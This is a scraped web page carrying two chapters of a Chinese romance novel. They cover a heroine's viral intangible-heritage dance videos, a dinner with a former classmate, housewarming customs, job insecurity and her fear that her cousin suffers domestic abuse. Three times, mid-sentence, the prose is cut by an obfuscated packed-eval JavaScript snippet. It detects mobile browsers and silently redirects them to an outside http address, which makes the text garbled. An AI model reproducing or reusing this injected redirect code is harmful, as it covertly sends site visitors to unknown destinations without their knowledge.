几个人走到余希柠身后站好,有风吹过,她抬手捋了捋头发,闻到一股很淡很熟悉的香水味。 是林屿沉? “三二一!茄子!” 当晚,余希柠看到群里的大合照,她的正后方就是林屿沉。 初六,余希柠回广州,走之前许小洁还在微信上问她,元宵会不会回来,想着如果会,还能再约两条片子—— “高人竟在身边,领导都拍烂大腿了。” 余希柠不好意思地笑笑,前些天她想了很久,还是决定把两个短视频发到自己的账号上,哪怕马甲被知道,也想让更多人了解到饶平布马舞。 在村委会跟拍的那几天,她和几个老师交流过,其中有一位是布马舞第二代传承人,对于布马舞的传承,他隐隐有些担忧。 虽然饶平布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191718|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马舞走出去过,在港澳、在世界的舞台都有过展现,可高度有,广度和深度还不够。 近几年关注饶平布马舞的年轻人很少,愿意来学习的新学员也不多,青黄不接现象凸显,还有就是布马舞的培训教材匮乏,缺乏一些相对专业的研究跟指导。 视频发出后,二十四小时不到点赞就破了百万,两天过五百万,目前是余希柠账号上数据前三的视频之一。 想过利用账号影响力来扩大宣传面,但没想过会这么受欢迎,许是选题与过往内容不一样,涉及新春、非遗和传统文化,平台也给了一定的推流量。 在余希柠发之前,县里的官号已经发了这两支视频,是账号下目前为止各项数据最爆的,还在逐日递增。 很多余希柠的粉丝看见了,都跑到官号下留言,对传统非遗文化表示赞善跟喜欢,也有的是特地去了解这种布马舞算不算非遗,毕竟百度百科上只说是当地传统舞蹈。 宣传部的人这才知道,原来余希柠有自己的自媒体账号,且粉丝量不少。这下,他们更感叹找对人了,迫不及待想邀请二次合作。 只可惜余希柠没时间,元宵也不打算回。 这次的拍摄让她浮沉已久的心注入了澎湃热血,有段时间她也在思考,自己除了做剧情剪辑,能不能做些新的选题内容,如今算是试水成功。 市场和观众对于传统文化是感兴趣的,很多潮汕人也纷纷在这两条视频里评论留言—— “好像一下子就回到了小时候,大年初一看营锣鼓班也能看到布马舞表演。” “啊!UP居然跟我是同个地方的,老乡!感慨我们饶平国人才辈出!骄傲!” “拍得好好,以为这些文化早就没人关注了,没想到现在还有接班人,鸡皮疙瘩都起来了。” “锣鼓一敲,DNA都动了,是我们潮汕人儿时的回忆啊!” “潮汕人看到后,泪流满面。” …… “UP主能不能多拍一些细节啊,最好是纪录片那种,把饶平布马舞文化真正传播出去,介绍给更多的人。我本身是土生土长的饶平人,可要不是这个视频,我都不知道布马舞已经是非遗。感觉家那边学这种舞的人不多,大家只知道英歌舞,但不知道布马舞。” 评论里这段话点赞不少,很多人都在底下各抒己见,发表自己的看法,余希柠也关注到了。她希望能通过自己,将潮汕文化深厚底蕴和独特魅力生动诠释出来,传递给更多的人。 如果以纪录片的形式,从几代传承人的角度、表演者的角度、学徒的角度和观众的角度去深度展现,这需要做很多功课和时间准备,不是拍脑袋决策。 第一次拍,大家有新鲜感,后面再拍,还会不会有受众,这些都是余希柠要考虑的。 她不喜欢无计划、无把握地去做一件事情,想着回广州后再慢慢整理思路。 年后,新房收楼。 陈梓钰夫妇陪着余希柠去办收楼手续,还请了一位验房师仔细检查,都是一些细小的问题,地产方承诺三日内维修妥当。 房子是精装修交付,余希柠打算封窗后改几个电位,再重新刷一遍艺术漆,估摸着得有一个月左右才能进全屋定制。 然后是沙发和床这些大件,还有家电安装,她自己一个人,免不了要来回跑,一道道工序验收完毕才交尾款。 四月底,大功告成,余希柠拍了一个全屋Vlog发到小群里。 许于薇率先感慨发声:“你太强了,一个人顶过一大家子人。” 宋乔:“确实,我老公都干不来这么多事情。” 林烜:“恭喜,什么时候乔迁新居?” 余希柠:“算了日子打算六月份办入宅,等甲醛散得差不多了再搬,到时候请你们来温居。” 许于薇:“好!” 宋乔:“没问题!” 56. 入宅 疫情放开后,宏观经济迟迟不见恢复,互联网行业进入了冬天,经济下行,市场低迷,相比于前两年的大额业务,余希柠公司今年的项目入账很不明朗。 她所在的市场部门是最先感知到的。 以前一个季度起码两个S级项目,从头到尾跟下来,周期要三个月打满,市场反响热烈,营销数据达标,绩效奖金就高,都是一环扣一环。 但从去年年底开始,到她们手里的标书全部降级,有两三个月甚至是在吃老本。面对这样的大环境,客户方也不敢多砸钱,盈利空间缩小,上头就打起了降本增效的主意,说到底,企业本性就是逐利,一旦看不到价值,随时可以牺牲。 余希柠忙着新房装修的这几个月,手上项目就被抢走了三个,但没办法,如果作为主要负责人,她根本就没时间做自己的事。 五一假期,余希柠没回饶平,正好郑重有时间,两人约着去周边度假村两天一夜。 聊起工作的话题,余希柠眉头紧锁:“现在的大环境,对女性不是很友好,尤其还是大龄单身女性。雇我的一份工钱,可以雇到两个应届毕业生,人力精得很,都在考虑成本。” “这就是你不跳槽的理由?” “这只是其一,其二,跳槽的话,前几个月试用期都是不稳定的,我这人懒得很,在一个地方待久了,想挪窝总会产生厌倦感。好不容易挪了,又随时可能被辞退,没有安全感。” 余希柠侧过脸看郑重:“我有个同事孕期,拿2N走人了。” 郑重瞠目结舌:“孕妇都裁?这不是违法的吗?” 余希柠叹气:“对啊,掐准了她要生了,不敢闹,怕动胎气,人事就是拿捏住了这个弱点去谈的。所以我才说,大环境对女性不友好。我这年龄写在简历上,投的时候都要问我一句,近期有没有结婚的打算,生怕我进去后就要结婚怀孕。” “宇宙尽头就是编制,也难怪那些人要去卷考公考事业编,现在的就业方向已经不是我们上学时那会了。” 郑重也有过就业的经历,她们上大学那会,互联网大厂和外企是高校生挤破头要去的地方,没多少人想考公或者教招。 但现在,应届生三分之二都是想考公或者事业编,想要一份稳定的工作,哪怕薪水不高。 “我现在就怕这份工作保不稳,让我爸妈知道了,肯定又要焦虑。” 余希柠掰着手指头数给郑重听:“大龄单身、巨额房贷,如果加上无业游民,那真是灾难。” 郑重:“别这么想,你之前不是有过做自媒体的想法吗?作为副业,你的账号现在已经经营得算很不错了,就没打算靠它做主业?” “哪有那么容易啊……”余希柠朝郑重摊开手:“要不富婆投资一下我?把我签了?” “我倒是觉得这条思路不错,可以走,自疫情以来,电商、主播、自媒体这三个行业发展趋势最猛。我记得你表弟就是做电商的,现在应该发展得很不错吧?” 余希柠点头:“踩中风口,是头猪都能飞。” “对啊,我反正是外行,不了解实操跟门道,就觉得这条路行得通,你可以考虑一下。” 郑重还惦记着之前的八卦,对父母口中那个高大英俊的青年很是好奇。 “后来有下文没有?” “同学聚会算吗?”余希柠咬了口水果,边嚼边含糊道:“其实也没聊什么。” “是不是缺少机会啊,要不我帮你们制造?上次的事,我理应出面答谢他的吧?请吃饭?” 郑重的话提醒了余希柠,她还欠林屿沉一顿饭。 “要是对他有期许,就千万抓住了。” 有期许吗? 余希柠自嘲地笑了笑,她可是被拒绝的那个人。 假期最后一天,余希柠给林屿沉发消息,问晚上有没有时间,说好的请他吃饭。 林屿沉直接发了个餐厅地址,解释道:“我下午正好在附近办事,这里见?” 余希柠回了个好字,又切换软件查了下这家餐厅,吃西餐的,人均三百多,氛围打卡必吃。 西餐厅,氛围感,好像场地有点过于正式。 余希柠赶忙放下手机跑回房间里搭配衣服,对着穿衣镜比划,结果注意力又转移到有点油的刘海上,见还有时间,干脆洗了个头。 等敷着面膜坐到化妆台前准备吹头发时,余希柠才缓过神来,她对这顿饭的态度好像过于认真了。 抵达餐厅后,余希柠按照林屿沉给的桌号由店员带着进去,很快她就看见了那个男人。 “嗨。”佯装很热络的招呼方式,实际上比在同学聚会时还要生硬,余希柠坐下后放下包包:“等很久了吗?” “不会。” 林屿沉给余希柠倒了杯水:“看看想吃什么。” 余希柠:“你点就好了,我都可以,就是别点太多,我怕吃不完。” 林屿沉沉吟片刻:“好。” 他招手叫来侍应生,从前菜到甜品全点了一遍,因余希柠不吃主食,就只叫了一份意面。 “你最近很忙?” 聊天,基本都是从工作话题切入的,余希柠实在好奇林屿沉创业在做什么,之前没来得及细问,只知道和AI有关。 林屿沉单手搭着桌面,身子往后靠着椅子,餐厅昏黄的光线都对他的五官格外偏爱,更衬得眉眼深邃。 “有个项目在推进,明天还要去趟深圳。” “那你这个假期岂不是都没怎么休息?” 余希柠喝着茶,惊讶于林屿沉的忙碌,但转念一想,创业初期好像也该是这种紧迫节奏。 “你呢?怎么没回饶平?” “抢不到票,也不太想回。” 新家月底入宅,到时候余序洲和陈慧柔也就来了。但余希柠不太想跟林屿沉说自己已经买房的消息,就借口说成抢不到票。 侍应生端着盘子上菜,牛油果沙拉,还有嫩煎扇贝、炙烤小管鱿鱼。 余希柠把原本放在桌面的手机收起,腾出位置放杯子。林屿沉误以为她是要拍照,还往后靠了一下,让出空间。 “我不拍……” “之前看你朋友圈定期会发一些美食图,怎么今天就不拍了?” “你看过我朋友圈?” “发了不就是让人看吗?” 好没有食欲的一段对话,余希柠彻底装不下去了,微歪着头:“说真的,要不是那天晚上打通了语音,我真以为你那是个假号。你是怎么做到朋友圈连背景图都没有的?” 林屿沉稍加思索道:“一开始是不知道发什么好,后来是经常被要求转发朋友圈,索性干脆不开通,就直接省了这两个顾虑。” 余希柠很好奇:“那这样岂不是没有分享欲,不会觉得很寡淡吗?” “你男朋友经常发朋友圈吗?” 林屿沉抬眼看向余希柠,直接反问。 男朋友? 余希柠一口沙拉差点呛到,还以为自己听错了,喝了口茶缓了缓:“我哪来的男朋友?” 林屿沉耳朵动了动,似乎听到了极有意思且合乎心意的回答。 “哦?我以为你上次发的那张照片,是和男朋友一块拍的。” “上次?”余希柠费了半天劲都想不起来是哪张,误以为是之前和陈梓航的合照:“你说的应该是我弟吧?” 她和陈梓航合租的时候,经常会发一些姐弟日常,也是分享欲比较旺盛的时期。后来就不怎么发了,从一个月一次总结,到现在两三个月发一次。 “是一个朋友的婚宴,还有宋乔。” 林屿沉观察着余希柠的表情,漆黑的眼眸一瞬不瞬地看着。 余希柠在对视中走神回忆,片刻反应过来:“啊,你说的是那张。” 许于薇婚礼上那张合照,也是林屿沉第一次点赞她的朋友圈,让余希柠意识到他的微信号是活的。 这都是几年前的事情了,林屿沉居然还能记到现在,余希柠不得不佩服学霸的记忆力。 “那是我好朋友,我们四个是高中同学。” 林屿沉“嗯”了一声,动筷子夹了块小管鱿鱼放到余希柠碗里。正好空出盘子给侍应生端走,好上其他菜。 “这是什么?” 余希柠看着两个小塔模样的食物,精致得看不出原本是什么。 林屿沉:“鸭肝批。” 余希柠抬眼看他:“你经常来吃西餐吗?” 林屿沉挑眉:“偶尔。” 看样子他这些年是赚得不错,不然以他们家原本家境,哪能总来这种地方消费。 余希柠几乎是下意识地想起之前上小学的时候,陈慧柔总在她耳边感叹,林屿沉读书有多自觉、多讨喜,家里那么贫困,他又要帮父母干活,又要学习,可回回功课都能考第一。 还有那个摆着小桌子在铺面门前写卷子的画面,余希柠一下就想起来了,紧接着打量面前这个收拾得如同斯文败类的男人。 “你这么看着我做什么?” 林屿沉也看出来,余希柠眼神里的探究。 “没什么,就觉得你和小时候差别好大。” 林屿沉动作儒雅地卷了一小叉子意面,放进嘴里前,问道:“例如?” 余希柠顿时来了兴趣:“以前的你除了学习好像没什么特别感兴趣的事情,很朴素,就是看不到对世俗有什么欲望。现在不同了,举手投足一股成功人士的感觉,大老板。” “打工人。” 林屿沉更正余希柠的说法。 余希柠反驳道:“都创业当老板了,还给谁打工?” “创业一开始都是要给公司和员工打工的,听说过吗?创业初期最忙的永远是老板跟合伙人。” 余希柠托着腮帮子,问:“那你怎么想到要创业的?” “时机到了,就出来单干,摆脱资本家……” “然后自己成为资本家。”余希柠打断林屿沉的话,讪笑了一下,道歉:“我只是突然想到这个烂梗,你继续。” 林屿沉扯了下唇角,缓声道:“也差不多,就觉得打工没什么意思,有自己想要做的事业,正好朋友也有意向,就一拍即合。” 余希柠露出一个格外狗腿的笑,问道:“老板,贵司有海外市场营销的岗位需要招人吗?我想应聘。” “你不是在做视频剪辑?” 林屿沉关注了余希柠的账号,以为她是做传媒相关的,没想到是市场营销。 “那只是我的副业。” 林屿沉当真思考了一下,才拒绝:“暂时没有,以后招人的话告诉你。” 余希柠忍着笑,眼眸明亮:“好,我是认真的哦。” 林屿沉:“好。” 一顿饭,聊的话题比想象中的多,来之前余希柠还担心气氛太尴尬,后来倒有种意犹未尽的感觉。 “我去接个电话。” 林屿沉中途离开了一下,余希柠趁此机会补了一下妆和口红,顺便叫来侍应生准备买单。 侍应生礼貌道:“女士,买单需要到柜台前买,报上桌号即可。” “哦好的,谢谢。” 那还是等林屿沉回来先,他的外套还在这儿,余希柠不敢就这么起身去买单。 没过多久,人回来了。 余希柠问:“走?” “好。” 林屿沉把外套穿上,顺手帮她拿包,等她把外套穿好再递过去。 “我去买单。” 余希柠还惦记着今天这桌是她要请客,却见林屿沉轻咳了一声:“我已经买好了。” “嗯?不是说好了我请客吗?答谢你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199720|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上次大半夜帮我送朋友去医院的事情。” 林屿沉双手抄着外套口袋,闲适走出餐厅:“我忘了,你下次再请回来吧。” 余希柠追上,盯着他的侧脸,皱着眉怀疑:“真的假的,这还能忘?” 林屿沉回头看她:“真的,你记得下次请回来,别忘了。” 余希柠:“……” 人在无语的时候是真的会笑,她转过头,无奈扯了下唇:“多少钱,我直接转账给你,当今天这顿是我请的行不行?” 林屿沉微眯着眼,不认同:“哪有这样的。” 余希柠:“可……” 林屿沉:“难不成你是不想跟我吃饭,所以巴不得撇清。” 余希柠眨了眨眼,摇头。 林屿沉:“那就行,送你回家。” 车子停在小区门口,余希柠解开安全带:“你回去要开多久啊?” 上次从她打完电话到林屿沉出现,好像来得很快,余希柠这才意识到她还从未主动问过林屿沉住在哪。 “二十分钟差不多。” “嗯,那你路上小心,慢点开。” 余希柠下车,退后了几步,等着林屿沉倒车驶离才转身进去。 临近入宅日,余希柠每天下班都要跑新房打扫,又从网上买了些新居装饰品,一点点布置着小家。 从买房到收楼,余序洲和陈慧柔都没来过广州,对装修后长什么样全无概念,惊喜一直保留到他们来广州这天。 潮汕人乔迁新居,各地风俗不同,陈慧柔提前找先生根据余希柠的八字算了个良辰吉时,其他的就一切从简。 余希柠提前一夜到新房,把柴、米、油、仙草水、水果、小梯子和笤帚放到门口。 第二天吉时已到,由作为一家之主的余序洲打头,拿着寓意生财的柴火做四句—— “吉时进宅万事兴,合家平安添财丁,子孙昌盛福禄全,荣华富贵进财源。” 进门先进财,迈过放在门口的梯子寓意步步高升。陈慧柔紧随其后,左手拎着袋米,右手拿着桶油,寓意衣食无忧。 余希柠捧着水果,说着平平安安、红红火火的吉祥话。 陈慧琪夫妇和陈梓钰一家也来了,人多热闹寓意人丁兴旺大团圆。 余序洲把窗户和水龙头打开,将水流调小,寓意风生水起,细水长流。开火烧了一锅开水,寓意财源滚滚。 陈慧柔用红花沾了仙草水洒满每个屋子,寓意平安顺遂,万事顺意。 “这些都是你一个人弄的吗?”陈慧琪一边参观一边感慨:“弄得好温馨,既不会太浮夸,又处处有细节。” 置物架上放了盆仙草小盆栽,旁边还摆了对大桔,圆拱形的开放式竖柜一层是盲盒屋,一层是合影相框,最底下一层是公仔。 陈梓钰抱着球球仔细端看那些照片,有一个是余希柠一家三口的二十五宫格合影集锦,一个是他们兄弟姐妹几个的照片,还有和好朋友的。 看得出是精心设计,非常有爱。 余序洲进屋后就到处参观,这里摸一摸,那里看一看,一副很心水的样子。 “大姐跟序洲哥可真是好福气,有这么能干的女儿,从买房到装修都不用来操心的,直接就给你们安排好。你们是第一次看到吧?” 陈慧琪不确定,尾句又强调了一下。 余序洲傻笑道:“哈哈是,确实布置得很不错,这全屋定制也设计得很高级。” “我呀真是托女儿的福了,老了还能住上这么好的房子,还是在广州大城市里。” 陈慧柔端着刚煮好的汤圆放到餐桌上:“来来来,都来吃碗汤圆,团团圆圆。” 陈慧琪:“可不就是托希柠的福,她的办事能力比我认识的小辈都要强,要不是收楼时来过,我都想象不到这屋子原皮是什么样的,现在真是大变样。” 余希柠被夸得都有些不好意思:“小姨,捧得过了,我是不是得交钱了?” “确实很好看,这定制的板材颜色跟弧形设计,你是找设计师出的图吗?” 陈梓钰也参观完全屋,走过来坐下。 余希柠:“板材颜色是我去店里选的,至于设计,大部分是在小红薯上搜的参考图。” 陈梓钰:“挺好看的,不是那种样板间千篇一律的感觉。” “那大姑跟大丈可以在这住一段时间了,等国庆还是年后再回去?” 张城话音刚落,陈梓钰立马反驳:“太快了,甲醛还没怎么散,哪能这么快就搬进来。” 张城:“我倒是没觉得甲醛超标,进来半天了也没觉得不舒服。” “我的想法和梓钰一样,接下来几个月最热,甲醛闷热发散快,如果开空调的话又完全是封闭空间,最好还是等过了这个夏天再来住。” 陈慧琪的话相对来说比较有分量,原本陈慧柔和余序洲就是想着要来长住,昨晚还催着余希柠赶紧从出租屋搬过来,这会儿听完,念头打消了不少。 陈慧柔:“我也是觉得没什么味道,也还好。” 陈慧琪科普道:“甲醛本就是无色无味,你打开柜子闻到的是苯的味道,都是有害气体,你这会没感觉,等有感觉就晚了。” 陈慧柔似懂非懂地点点头。 入宅当晚要留在新房过夜,第二天醒来,陈慧柔觉得喉咙干得厉害,一问余序洲,发现症状相似。 “我昨晚半夜还起来喝水,不然老想咳嗽。”陈慧柔怀疑:“这就是甲醛反应吧?” 余序洲摇摇头:“慎重起见,还是先通风,等过完夏天才来住。” 两人都是行动力极强的,当天就让余希柠订高铁票,打道回府。陈慧柔还叮嘱余希柠,把柜子跟窗户都开着通风散味,近期不要搬家。 余希柠哭笑不得:“我原本也没打算这么早搬。” 57. 清越 进入六月,公司便着手张罗着年中人才盘点,分部门对过去半年的工作进行总结和评价,人事要求下周五前上交表格并邮件抄送直属领导。 余希柠今年参与的项目只多不少,但大部分都不是主策。因为要忙交房和装修的事情,精力兼顾不过来就没怎么争。 以至于在写盘点时,有一项是关于统计上半年作为主要负责人参与执行的项目和取得的业绩成果,与别人密密麻麻的项目相比,她只有寥寥数字。 去年服务过的S级客户,今年没有再继续合作,关于这件事,余希柠没少和朋友吐槽。 之前公司项管岗位波动频繁,老板有意把S级客户资源拢回自己手里,却因为项目对接不清晰,频频在群里出洋相,败尽前期积累下的好感。 后来因为追回款,双方起了一些争议,老板就直接在朋友圈阴阳怪气,彻底把客户惹怒,断绝合作关系。 余希柠往年大头业绩都出自这个客户,被老板得罪完,KPI直接拦腰斩。 从前需要写两三天的人才盘点表,今年一天就写完了,交之前余希柠就有不好的预感,觉得年中绩效考评估计会被打低分。 “希柠还不下班?” “啊,准备了。” 不知不觉已经八点半,余希柠原本还想着下班去一趟新房关窗,天气预报说明后天要下雨。但这会太晚了,过去要一小时,回租房的地方又要一个半小时,实在不想折腾。 算了,等明天下班再去应该来得及,实在不行只能给管家密码,让他们帮忙关。 余希柠合上笔记本电脑,拿起包包打卡下班。 地铁里,余清越给她发了条消息—— “前几天家里有点事,没来得及恭喜你乔迁新居,想给你买厨房小家电的套装,但不知道你自己买了没有,怕买重了,还是给你发个红包吧,你自己安排。新居添福添财气,祝福~” 下面是转账2888的消息提醒。 这未免给的太多了,余希柠不好意思点。 “姐,心意收下了,但红包就不用啦,等过一段时间我搬过去了,邀请你们过来玩。” 下了地铁,余清越都没有回消息,余希柠以为她又去忙了便没放在心上。 直到次日晚,二十四小时过去,转账没点,原路退还,余希柠接到了系统提示,这才回想起昨日过后余清越就一直没回消息。 心里莫名冒出异样感觉,说不上来具体是什么,余希柠假借系统退回转账一事给余清越发消息。 “记得等不忙的时候联系我,请你吃饭!” 没过多久,余清越回了个好字,还带上了句号。 这不是余清越的风格。 余清越发微信通常是用空格代替标点符号,而且不会单说一个好字,要么就是发表情包,要么就是发带点语气的,例如好哒、好滴。 余希柠随即起了疑心,隐约觉得不对劲,但不敢贸贸然直接问。拿着手机在屋里来回走了两圈,还是放心不下来拨了语音过去。 响了很久,对方才接,却不是余清越。 “喂。” 一道低沉,听上去还有些不耐烦的男声。 “帆哥?” “是我,希柠。你姐在洗澡,我帮她接的电话,有什么事吗?”杜帆的声音听上去比方才平稳许多,“要不等她出来,我再让她打给你?” 手机另一头传来阵阵狗叫声,嚎得有些撕心裂肺。 杜帆家养狗,余希柠知道,但印象中是一只性子很乖的萨摩耶,不会叫成这个样子。 余希柠问:“刚刚是小白在叫吗?它怎么了?” 杜帆:“没事,闹点脾气。” 余希柠:“那等我姐洗完澡出来,麻烦跟她说一声,让她回我个电话。” “行,那先这样。” 杜帆把电话挂得很快,余希柠甚至都还没来得及说句拜拜,手机抓在手里无意识地捏紧。 五分钟过去,十分钟过去,余希柠头一回觉得时间过得这么漫长,她把手机音量调大了放在一旁,一边整理冬季衣服。 搬家纸箱已经买回来了,想着这几天有空,开始一点点收拾,免得忙完年中述职就要进新项目,到时候抽不出时间。 两大袋冬季衣服压缩完,加上前面的时间已经过去半小时,叮咚一声,消息提示音传来,余希柠冲到桌前拿起一看。 余清越:“希柠,我今天有点不舒服,吃药先睡了,有什么事你给我留言,等好了回复你。” 又是带标点的回话! 还说什么吃药先睡! 余希柠心中警铃作响,脑海里冒出来一个可怕的想法,但怕打草惊蛇,不敢直接语音对峙。 陈慧柔和余序洲散步回家,正准备坐下休息看会电视,就接到余希柠打来的电话。 陈慧柔语气喜滋滋:“怎么了妹妹,今晚怎么主动给我打电话?” “妈,你和我爸这段时间有没有和大伯一家联系?听说过清越姐的情况吗?” “突然问清越干什么?没有啊,就新家入宅前,跟你大伯说起过要来广州,他还包了个红包贺喜,不是跟你说过了吗?” “那会儿你们聊过清越姐的近况吗?” 余希柠的语气紧张又严肃,陈慧柔神色也微变,示意余序洲把电视调静音,然后将通话外放。 “没聊,你知道你大伯跟你大伯母的,从不主动提清越的事。怎么了?” 余希柠把晚上的事跟陈慧柔说了一下,着重强调狗叫声和消息回复带标点,看似是杜帆替余清越发的。 “我担心清越姐是出什么事情了,要不你们跟大伯母说一下,让她打个视频试探看看?” 余序洲沉默了会,问道:“你会不会太敏感了,这有什么,万一她真的是不舒服呢?” “有时候不敏感才要出大事呢,反正就是视频一下,确认人没事就行。但不能是你们打,我刚打完就换你们,这样很容易让杜帆起疑心,对清越姐也不利。” 陈慧柔和余序洲面面相觑,迟疑道:“你真觉得不对劲?” “对啊!狗叫成那样,一定是有什么事情。而且清越姐发消息从来不带标点的,我翻了一下过往聊天记录再三确认,就是没标点!” 余希柠越说越急,愈发肯定自己的猜想。 余序洲就是觉得荒谬,也不敢直接打击她:“行行,我跟你大伯母说一声,你也别太激动,吃过饭了吧?今天加班了吗?” “哎呀都几点了问什么吃饭加班,快去打电话,我挂了!” 余希柠挂断才反应过来,随即编辑文字补上一句:“后续怎么样第一时间告诉我。” 另一边,陈慧柔看着余序洲,问:“真要打这电话?” “我是觉得,但希柠急成那样,总得给个交代。”余序洲指了指手机,犹豫道:“你,你就跟平常聊天一样问一嘴,看大嫂怎么说。” “我来?” “当然你来,我问的话不是更奇怪?” 余序洲屁股挪远了一个座位,躲得远远的,催促陈慧柔:“打吧,希柠还等着回话。” 陈慧柔默了一瞬,琢磨着到底该说什么才显得不那么刻意,主要她之前也没怎么主动联系过黄蕾。 “你就问她粽子要怎么做!不是要端午了吗?叶子上哪买,你用做吃的话题就可以了。” 余序洲灵机一动,提供了一个很好的思路。 余希柠洗完澡才等来陈慧柔的电话。 “怎么样?” “你大伯母最近都没跟清越联系,我刚暗示了通个视频沟通一下……” 余希柠急切:“大伯母怎么说?” 陈慧柔叹气道:“也没说什么,只是抱怨清越婚后跟她不亲了,也不怎么主动联系,她也不想管。” 余希柠沉默了,说不出话来。 “希柠,这事我跟你爸商量了一下,看法最后都是一样的,就是不要多管闲事。” 给余希柠回电话前,陈慧柔和余序洲先进行了一波辩论,陈慧柔和余希柠一样,担心余清越真有什么事。 余序洲却觉得余希柠是小题大做,自己吓自己。年轻小夫妻刚结婚不久,就是有什么小争吵那也很正常,生活都是需要磨合的,轮不到外人插手插脚。 有心的会感念一两句出手相帮,但要遇上不讲理的,还觉得是在挑拨他们夫妻关系。 所有关系的相处模式,到最后都离不开磨合和忍让,说白了,是别人的家事。 “她爸妈都不上心,你就别上赶着往前凑了,你爸说得对,万一是你自己多想,那得多尴尬。杜帆是不是也会觉得你是在故意找茬,挑拨他们夫妇关系。” 陈慧柔劝说余希柠,关心堂姐是好事,但凡事都得有一个度,过了可能会给自己招惹麻烦。 “听明白了吗?明天还要上班,早点睡,别折腾了。” 余希柠嗯了声,挂断电话,陡然泄力似的跌坐在沙发上。 次日,余希柠顶着两大黑眼圈去上班,同事见了还问:“昨晚半夜偷鸡去了?没睡?” “家里有点事,烦心。” 同事:“还好今天周五了,晚上早点睡,明天还能睡到自然醒,补回来。” 余希柠点点头,刚打开电脑登上企业钉钉,就看见人事发来的消息,询问十点半后有没有时间进行人才盘点谈话。 公司惯例,表格提交后会先由人事总监这边进行首轮谈话,了解员工对同事、部门、公司领导以及规章制度有没有什么意见反馈。 余希柠看了眼今日待办事项,回复人事,能不能争取十五分钟内聊完。 人事爽快道:“没问题呀。” 十点半,余希柠准时进会议室等待,很快人事总监Mini敲门进来。 “哈喽希柠,来我们开始吧,久违的聊天,说一说你对公司或者部门小伙伴上半年的一个工作情况,有没有什么想说的。” 在公司待久了就知道,这只是个走流程的表面工作,刚来的第一年,余希柠对年中、年末谈话格外重视。 会真正反映工作上遇到的困难,包括跨部门的沟通合作成本,也会提一些平日里同事私底下都聊过的小建议。 人事总监嘴上答应会帮忙传达,实际上有没有她自己心里清楚,反正余希柠看到的就是,问题继续是问题,无人解决。 后来谈话就更像是人事吐槽大会,说好是倾听员工声音,但几乎都是她自己在倒苦水,求理解,诉说这个岗位的不容易和老板的不做人,以博同情。 今天也不例外。 余希柠简短说了几个司空见惯的问题后,就把剩余十分钟留给了Mini发挥,见她大有一种要把谈话时间拉长,超出十五分钟时,委婉提醒道,自己后面还有个会要开。 Mini一副很无奈的样子,拉着余希柠的手:“你应该懂我吧?” “懂,怎么会不懂呢,都是打工人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203208|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而已。”余希柠不动声色地抽出自己的手,“那我先走啦,你忙。” 部门同事见余希柠出来,下意识看了眼屏幕右上方的时间,惊讶:“这么快?” 余希柠:“也没什么好说的。” 同事瞥了眼领导工位,发微信小窗口—— “听说上半年业绩没达标,领导开会的时候被老板训了,今年年中述职恐怕不好过,奖金跟绩效不知道还有没有。” 余希柠打心里叹了口气,回复:“上层人士的心思,我等都摸不透,干活吧,我只求不要加班。” 她下班要先去一趟新房,还要赶地铁去佛山找余清越,行程满得都没给晚饭挤出一点时间。 昨晚余希柠整晚没睡着,翻来覆去都是余清越和杜帆吵架的画面,好几次拿起手机试图在余清越朋友圈或者微博上翻到些蛛丝马迹。 但朋友圈三日可见,微博只剩下每年系统提示生日祝福,什么有效信息都没找到。 许于薇来问晚上有没有约,要不要下班一块吃饭顺便看电影。 余希柠猛的拍脑门:“我怎么忘了还有你!” 许于薇一脸茫然:“啊?什么什么?” 余希柠把余清越的事和自己的分析说给许于薇听,还截图了微信聊天页面,不敢添油加醋带什么情绪,生怕影响许于薇的判断。 “请许警官分析一下,有没有吵架或者家庭暴力的可能?” 许于薇沉吟片刻,道:“按你说的过往聊天习惯和接电话时,狗吠情况,不排除,但也得上门了解才清楚。你跟你这个堂姐不是不熟吗?” “不熟也是我姐啊,总不能察觉到什么还当不知道吧,万一她给我释放了求救信号可我没放在心上,岂不是耽误事?” 余希柠更坚定晚上要去一趟佛山的想法。 许于薇不同意:“就你自己去?别莽啊,万一真有什么事,你跟一个成年男人相比,力量悬殊。” “我就说刚好来佛山出差,喝杯茶就走,顺便看看我姐病好了没。” 许于薇:“你起码多找一个人陪你去,佛山有朋友吗?” 余希柠:“没。” 许于薇:“要不我陪你去?我开车还快点。” 余希柠又问:“警服能穿上吗?” 许于薇:“……” 余希柠:“我开玩笑的。” 就这样,许于薇以同事身份陪同余希柠去佛山“出差”,以求把戏演得更逼真些。余希柠抓紧处理手头工作,去新房的事也推迟到周末,到点下班和许于薇汇合。 领导开完会出来,见余希柠工位空着,电脑也不在了,眉头微蹙:“希柠下班了?” 